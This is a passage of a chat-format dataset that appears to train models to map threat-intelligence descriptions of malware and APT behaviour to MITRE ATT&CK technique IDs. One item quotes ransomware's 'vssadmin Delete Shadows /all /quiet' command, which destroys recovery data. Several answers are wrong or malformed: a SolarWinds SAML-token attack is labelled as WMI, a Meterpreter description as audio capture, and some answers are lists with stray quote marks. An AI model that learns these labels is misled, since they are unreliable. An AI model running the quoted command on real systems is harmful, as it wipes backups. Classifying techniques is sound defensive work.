            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of Open Source Tools In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis. We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. 1}{0}\" -f 'bar','foo'). During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has used \"vssadmin Delete Shadows /all /quiet\" to to delete volume shadow copies and \"vssadmin resize shadowstorage\" to force deletion of shadow copies created by third-party applications."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used a custom collection method to intercept two-factor authentication soft tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec has a package that collects documents from any inserted USB sticks."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can create and export various authentication certificates, including those associated with Azure AD joined/registered devices."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "smb and exploit in same sentence"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to retrieve information about groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can use WMI to monitor for and kill specific processes listed in its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has used WMI to attempt to delete the shadow volumes on a machine, and to connect a virtual machine to the network domain of the victim organization's network."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts strings in the backdoor using a custom XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer has relied on users mounting and executing a malicious DMG file."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device 2) Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods: Stealing the SAML signing certificate (Path 1) Adding to or modifying existing federation trust (Path 2) 3) Stealing the SAML signing certificate (Path 1) 4) Adding to or modifying existing federation trust (Path 2) 5) Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has deleted the target's systems and resources in the cloud to trigger the organization's incident and crisis response process."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second generation (2.x) was used to conduct an attack which we investigated during its active stage. We successfully prevented data transfer to the cybercriminals’ server and isolated the infected systems in the company’s local network. The incidents, as well as results of our investigation, are described in the full report on the Winnti group (PDF"
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D has variants that check a number of system parameters to see if it is being run on real hardware or in a virtual machine environment, such as \"sysctl hw.model\"."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The communication between the cryptojacking bot and its mining server is made by using the Stratum protocol on port 10001 and is controlled by the execution of the spreadXfghij.exe program"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can identify the system language on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Offset Description   0x0 Victim GUID (8C8CEED9-4326-448B-919E-249EEC0238A3)   0x25 Victim IP Address (192.168.180.154)   0x45 Command (0x66660001)   0x49 Length of payload (0x2f – 47)   0x4d Field 1 – Windows major version (0x6 – Windows Vista+)   0x51 Field 2 – Windows minor version (0x1 – Windows 7)   0x55 Field 3 – Unknown (0x20)   0x59 Payload (default flag:4/2/2018 1:01:33 AM)    Table 5 – Beacon structure for PLAINTEE"
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like most ransomware, Sodinokibi encrypts files and adds a random extension such as “test.jpg.1cd8t9ahd5” (Data Encrypted for Impact, ATT&amp;CK T1486). It also drops a ransom note in folders that contain encrypted files. The name of the ransom note is the random extension added to the encrypted files. For example, if the extension is \".1cd8t9ahd5\", the ransom message filename will be called \"1cd8t9ahd5-HOW-TO-DECRYPT.txt"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can uninstall or disable security products."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Winnti for Windows dropper component can verify the existence of a single command line parameter and either terminate if it is not found or later use it as a decryption key."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can retrieve additional malicious payloads from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron has used a malicious Microsoft Exchange transport agent for persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although there are no previously known malicious Android applications attributed to the StrongPity group, we strongly believe that the threat actor is in the process of actively developing new malicious components that can be used to target Android platforms."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic has used PowerShell to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic is base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant encodes C2 POST data base64."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-WmiCommand CodeExecution module uses WMI to execute and retrieve the output from a  payload."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to add created accounts to local admin groups to maintain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can collect the username from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exploited Adobe Flash vulnerability CVE-2018-4878 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the configuration is parsed successfully, the program writes the string \"Meteor has started. to an encrypted log file, suggesting that the internal name of the malware is “Meteor“. As we will see later on in this article, another name was used in previous attacks. Throughout the entire execution of the malware, it keeps logging its actions to this same encrypted log file. Appendix C contains a helper script to decrypt the log file"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\""
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL contains unused machine instructions in a likely attempt to hinder analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu has used \"msiexec\" to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used a variety of publicly available tools like LaZagne to gather credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can query the Registry key \"\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MSDTC\\MTxOCI\"\" to see if the value `OracleOcilib` exists."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For early Gazer versions, the compilation timestamp was faked."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has the ability to upload and download files to and from the infected host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used Tor and a variety of commercial VPN services to route brute force authentication attempts."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad Rabbit has been executed through user installation of an executable disguised as a flash installer."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used scheduled tasks to install TrickBot, using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf. It has also used common document file names for other malware binaries."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "determines a working directory where it stores all the gathered data about the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used encoded PowerShell scripts uploaded to  installations to download and install , as well as to evade defenses."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords)."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "According to the public source data, these airlines use services of the same IT service provider. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers. Compromise of Air India's network In mid-February 2021, Group-IB's Threat Intelligence &amp; Attribution system detected infected devices that were part of Air India's computer network. It took the attackers 24 hours and 5 minutes to spread Cobalt Strike beacons to other devices in the airline's network. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. According to Group-IB's Threat Intelligence &amp; Attribution system, the threat actor has been active since at least 2007. APT41 is known for stealing digital certificates for its cyber espionage operations. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. The files are very similar in the way they launch a DLL file as a service and create keys in the registry"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Psylo has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-Kerberoast module can request service tickets and return crackable ticket hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has used Powershell to retrieve the malicious payload and download additional resources like Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has compromised domains for some of their infrastructure, including for C2 and staging malware."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\", \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\", and the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors edited variable names within the Impacket suite to avoid automated detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to inject DLLs into specific processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma has been Base64 encoded and AES encrypted."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mofang delivered spearphishing emails with malicious documents, PDFs, or Excel files attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to pack their tools."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Having a Meterpreter session on a compromised computer allows for full control of the computer and exfiltration of any data, and in some cases lateral movement inside the organization"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use TCP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROADTools can enumerate Azure AD systems and devices."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Harvest cookies and a password database for supported browsers. Supports: Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale - Recursively search a path and upload file metadata (timestamps, size, and full path). - Spawn a thread to recursively search a path and upload files as a ZIP archive"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 Hardware ID used by XAgent to uniquely identify compromised hosts When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NETWIRE binary has been executed via PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cannon can obtain a list of processes running on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker has the ability to save and execute files as an alternate data stream (ADS)."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JHUHUGIT variant accesses a screenshot saved in the clipboard and converts it to a JPG image."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
